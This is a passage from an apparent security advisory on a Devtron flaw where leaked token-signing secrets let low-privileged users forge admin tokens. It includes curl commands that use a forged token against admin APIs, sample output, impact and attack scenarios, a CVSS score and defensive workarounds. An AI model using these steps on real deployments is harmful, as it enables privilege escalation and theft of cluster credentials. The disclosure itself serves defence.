Details
Step 4: Test Forged Token with Admin APIs
Use the forged token to access admin APIs:
# Extract forged token
FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1)
# Test 1: Get all users (requires admin permission)
echo "[*] Test 1: Getting user list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}'
# Test 2: Get cluster list (requires admin permission)
echo "[*] Test 2: Getting cluster list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \
-H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}'
# Test 3: Get all applications
echo "[*] Test 3: Getting application list..."
curl -s -X GET "http://127.0.0.1:8000/orchestrator/app/list" \
-H "token: ${FORGED_TOKEN}" | jq '.result'
Actual Output Example:
[*] Test 1: Getting user list...
{
"id": 1,
"email_id": "admin",
"roles": ["role:super-admin___"]
}
{
"id": 2,
"email_id": "[email protected]",
"roles": ["role:developer"]
}
[*] Test 2: Getting cluster list...
{
"id": 1,
"cluster_name": "default_cluster",
"server_url": "https://kubernetes.default.svc"
}
[*] Test 3: Getting application list...
{
"appContainers": [
{
"appId": 1,
"appName": "sample-app",
"projectId": 1
}
]
}
Expected Result
If the vulnerability exists, it should be able to:
- Successfully obtain
apiTokenSecretusing any authenticated user's token - Successfully forge JWT tokens using the leaked key
- Successfully access admin-only APIs using the forged token
- Retrieve sensitive information such as user lists, cluster configurations, etc.
Impact
Security Impact
Confidentiality: Severe impact. Attackers can:
- Obtain the global API Token signing key
- Read all user information and permission configurations
- Access Kubernetes cluster configurations and credentials
- Read sensitive application configurations and Secrets
Integrity: Severe impact. Attackers can:
- Forge API Tokens for arbitrary user identities
- Modify application configurations and deployments
- Create or delete CI/CD pipelines
- Modify user permissions and roles
Availability: High impact. Attackers can:
- Delete critical applications and configurations
- Disrupt CI/CD processes
- Modify cluster configurations causing service interruptions
Business Impact
- Complete Control of Devtron Platform: Attackers gain privileges equivalent to super administrators
- Lateral Movement to Kubernetes Cluster: Cluster credentials obtained through Devtron can directly control the underlying Kubernetes
- Supply Chain Attacks: Can modify CI/CD pipelines to inject malicious code
- Data Breach: Can access all application configurations and Secrets
- Cloud Environment Penetration: In cloud environments, can further obtain IAM credentials
Attack Scenarios
Scenario 1: Insider Threat
- Low-privileged developer exploits this vulnerability to escalate privileges
- Gains full access to production environment
- Steals sensitive data or plants backdoors
Scenario 2: Supply Chain Attack
- Attacker obtains low-privileged account through social engineering
- Exploits vulnerability to gain admin privileges
- Modifies CI/CD pipelines to inject malicious code
- Affects all applications using the pipeline
Scenario 3: Lateral Movement
- Attacker has already compromised a low-privileged account
- Exploits this vulnerability to gain Kubernetes cluster access
- Deploys cryptocurrency miners or other malicious payloads in the cluster
Severity
CVSS v3.1 Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Score Breakdown:
- Attack Vector (AV:N): Network accessible, exploited via HTTP API
- Attack Complexity (AC:L): Low complexity, requires only one HTTP request
- Privileges Required (PR:L): Requires low privileges (any authenticated user)
- User Interaction (UI:N): No user interaction required
- Scope (S:C): Scope changed, can affect resources beyond Devtron (Kubernetes cluster)
- Confidentiality (C:H): High impact, can read all sensitive information
- Integrity (I:H): High impact, can modify all configurations and data
- Availability (A:H): High impact, can delete resources and disrupt services
Severity Level: Critical
Affected Versions
- Devtron: All versions (as of 2026-01-26 verification)
- Specifically affected code files:
api/restHandler/AttributesRestHandlder.gopkg/apiToken/ApiTokenSecretService.go
Workarounds
Before an official patch is released, the following temporary measures can be taken:
Option 1: Network-Level Restrictions
# Use NetworkPolicy to restrict access to Devtron API
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: devtron-api-restriction
namespace: devtroncd
spec:
podSelector:
matchLabels:
app: devtron
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
role: admin
ports:
- protocol: TCP
port: 8080
EOF
Option 2: Rotate API Token Secret
# Generate new secret
NEW_SECRET=$(openssl rand -hex 32)
# Update in database
kubectl exec -n devtroncd postgresql-postgresql-0 -- \
psql -U postgres -d orchestrator -c \
"UPDATE attributes SET value='${NEW_SECRET}' WHERE key='apiTokenSecret';"
# Restart Devtron service
kubectl rollout restart deployment/devtron -n devtroncd
Option 3: Add API Gateway Filtering
Deploy an API Gateway in front of Devtron to filter sensitive requests to /orchestrator/attributes.
Credits
@b0b0haha ([email protected])
@lixingquzhi([email protected])